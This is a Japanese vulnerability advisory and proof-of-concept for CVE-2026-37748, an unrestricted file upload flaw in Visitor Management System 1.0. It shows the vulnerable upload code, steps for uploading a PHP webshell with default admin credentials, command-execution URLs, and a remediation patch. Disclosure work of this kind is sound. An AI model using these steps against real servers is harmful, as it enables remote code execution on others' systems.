
# CVE-2026-37748 の概念実証エクスプロイト Visitor Management System 1.0 における無制限ファイルアップロードの脆弱性を悪用し、PHP ウェブシェルアップロードを介してリモートコード実行を引き起こす概念実証エクスプロイトです。
| フィールド | 情報 |
|---|
| CVE ID | CVE-2026-37748 |
| タイプ | 無制限ファイルアップロード → リモートコード実行 |
| 深刻度 | 高 (CVSSv3: 7.2) |
| ベンダー | sanjay1313 |
| 製品 | Visitor Management System |
| バージョン | 1.0 |
| 発見者 | Varad AP Mene |
| 日付 | 2026-04-16 |
| CWE | CWE-434 |
sanjay1313 による Visitor Management System 1.0 には、重大な無制限ファイルアップロードの脆弱性が存在します。vms/php/admin_user_insert.php および vms/php/update_1.php 内の move_uploaded_file() 関数は、MIME タイプ、ファイル拡張子、コンテンツの検証なしに呼び出されます。認証された管理者は、画像アップロードフィールドを介して PHP ウェブシェルをアップロードし、アップロードされたファイルに URL 経由で直接アクセスすることで、サーバー上でリモートコード実行を達成できます。
CVE ID: CVE-2026-37748 CWE: CWE-434 — 危険なタイプのファイルの無制限アップロード CVSSv3: 7.2 高 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
Visitor Management System 1.0 は、GitHub 上の sanjay1313 による PHP/MySQL Web アプリケーションで、組織内の訪問者記録を管理するために使用されます。
vms/php/admin_user_insert.php vms/php/update_1.php
$image = $_FILES['image']['name'];
$tmp = $_FILES['image']['tmp_name'];
move_uploaded_file($tmp, "../images/" . $image);
ファイル拡張子、MIME タイプ、コンテンツの検証は一切行われません。
ステップ 1 — ウェブシェルファイル shell.php を作成:
ステップ 2 — 管理パネルにログイン: http://target/vms/ ユーザー名: admin パスワード: admin
ステップ 3 — shell.php をプロフィール画像としてアップロード: 管理者ユーザー → 新しい管理者の追加 に移動 shell.php をプロフィール写真としてアップロード
ステップ 4 — コマンドを実行: http://target/vms/images/shell.php?cmd=id http://target/vms/images/shell.php?cmd=whoami
// 1. ファイル拡張子を検証
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) {
die("Invalid file type");
}
// 2. MIME タイプを検証
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['image']['tmp_name']);
$allowed_mime = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($mime, $allowed_mime)) {
die("Invalid MIME type");
}
// 3. サーバー上でファイル名を変更
$new_name = uniqid() . '.' . $ext;
move_uploaded_file($_FILES['image']['tmp_name'], "../images/" . $new_name);
| 日付 | イベント |
|---|---|
| 2026-03-15 | 脆弱性を発見 |
| 2026-03-15 | MITRE に報告 |
| 2026-04-02 | CVE-2026-37748 が割り当てられる |
| 2026-04-16 | 公開開示 |
| 2026-04-16 | 公開について MITRE に通知 |
| 2026-04-17 | GitHub Issues 経由でベンダーに通知 |
Varad Arachana Prashant Mene